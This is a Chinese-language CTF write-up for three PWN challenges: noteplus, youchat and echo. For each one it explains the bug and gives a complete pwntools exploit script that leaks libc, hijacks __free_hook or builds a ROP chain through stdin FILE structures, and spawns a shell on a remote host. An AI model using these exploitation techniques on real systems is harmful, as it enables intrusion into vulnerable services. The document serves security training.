PWN

noteplus

漏洞点在于edit的时候如果size是小于8的话循环退出的判断永远为真,因此可以进行堆溢出。image-20201106171741833

首先填满tcache,利用unsortbin进行leak操作,然后用上面的堆溢出漏洞修改一个free状态的fd到__free_hook,修改其为onegadget地址,即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
#context.log_level = 'debug'
p = process("./noteplus",env = {"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
p = remote("121.36.245.213","23333")
#p = process("./noteplus")
def add(idx,size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
def free(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)
def show(idx):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
one = [0x4f365,0x4f3c2,0x10a45c]
for i in range(0x9):
add(i,0xf8)
for i in range(7):
free(0x8-i)
free(0)
for i in range(7):
add(2+i,0xf8)
add(0,0xf8)
show(0)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+'\x00\x00')-0x3EBCA0
print hex(libc.address)
add(0x9,0)
add(0xa,0)
add(0xb,0)
free(0xb)
free(0xa)
edit(0x9,'/bin/sh\x00'+'\x00'*0x8+p64(0x21)+p64(libc.sym['__free_hook']-8)+'\n')
print hex(libc.sym['__free_hook'])
add(0xc,0)
add(0xd,0)
edit(0xd,p64(libc.address+one[1])+'\n')
#gdb.attach(p,'b free')
free(0)
p.interactive()

youchat

漏洞点在于password输入的时候存在off by one漏洞,会修改name地址的低位为\x00:

image-20201106172154888

首先填满tcache,利用unsortbin进行leak操作,接着利用上面的漏洞即可在存放name地址之前输入,修改name地址为__free_hook地址,再一次修改name即可劫持__free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
p = process("./youchat",env = {"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
p = remote("124.70.158.59","30023")
def add(idx,size,name,password):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("How long is your user id: ")
p.sendline(str(size))
p.recvuntil("User name: ")
p.send(name)
p.recvuntil("Password: ")
p.send(password)
def free(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,name):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("New username: ")
p.sendline(name)
def show(idx):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))


add(0,0x100,'a','a'*0x10)#0 over write
for i in range(1,0x9):
add(i,0xf8,'a','a')
for i in range(0x8):
free(0x8-i)
for i in range(1,0x8):
add(i,0xf8,'a','a')
add(8,0xf8,'a'*8,'a')
show(8)
p.recvuntil('a'*8)
libc.address = u64(p.recv(6)+'\x00\x00')-0x3EBCA0
print hex(libc.address)
show(3)
p.recvuntil("Username: ")
heap = u64(p.recv(6)+'\x00\x00')-0x12461
print hex(heap)
edit(0,p64(0)*13+p64(0x31)+p64(0)*2+p64(libc.sym['__free_hook']))
print hex(libc.sym['__free_hook'])
edit(0,p64(libc.sym['system']))
add(0xf,0xf8,'/bin/sh','a')
free(0xf)
#gdb.attach(p,'b *$rebase(0x1876)')
p.interactive()

echo

攻防世界PWN的echo_back原题。

首先是leak,然后修改_IO_buf_base的低字节为\x00,接着利用scanf函数覆盖_IO_buf_base_IO_buf_end成main函数的返回地址的栈地址以及偏移0x18的地址(rop长度为0x18),接着不断写入换行符使_IO_read_base_IO_read_end相等,然后再用scanf写入rop即可getshel。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
p = process("./Echo")
libc = ELF("./Echo").libc
p = remote('121.36.216.253',10001)
def login(name):
p.recvuntil("Choice >>")
p.sendline("1")
p.recvuntil("User name:")
p.send(name)
def echo(size,data):
p.recvuntil("Choice >>")
p.sendline("2")
p.recvuntil("Input size:")
p.sendline(str(size))
p.sendline(data)
def echo2(data):
p.recvuntil("Choice >>")
p.sendline("2")
p.recvuntil("Input size:")
p.send(data)
p.sendline('')
one = [0x45226,0x4527a,0xf0364,0xf1207]
#leak
echo(7,'%21$p')
p.recvuntil("say:0x")
libc.address = int(p.recv(12),16) -0x20840
print hex(libc.address)
echo(7,'%19$p')
p.recvuntil("say:0x")
canary = int(p.recv(16),16)
print hex(canary)
echo(7,'%15$p')
p.recvuntil("say:0x")
pie = int(p.recv(12),16)-0x1107
print hex(pie)
echo(7,'%18$p')
p.recvuntil("say:0x")
stack = int(p.recv(12),16)
print hex(stack)

main_ret=stack-0xD8
libc_base = libc.address
system_addr = libc.sym['system']
binsh_addr = libc.search('/bin/sh').next()
_IO_2_1_stdin_addr = libc.sym['_IO_2_1_stdin_']
_IO_buf_base = _IO_2_1_stdin_addr + 0x8 * 7
pop_rdi = pie + 0x11b3


login(p64(_IO_buf_base)[:-1])
#gdb.attach(p,'b *$rebase(0x106D)\n b *$rebase(0x1044)')
echo(7,'%16$hhn')

payload = p64(0x83 + _IO_2_1_stdin_addr)*3 + p64(main_ret) + p64(main_ret + 0x8 * 3)
echo2(payload)


for i in range(0,len(payload)-1):
p.recvuntil("Choice >>")
p.sendline("2")
p.recvuntil("Input size:")
p.sendline('\n')

payload = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
echo2(payload)
#getshell
p.recvuntil("Choice >>")
p.sendline('3')
p.interactive()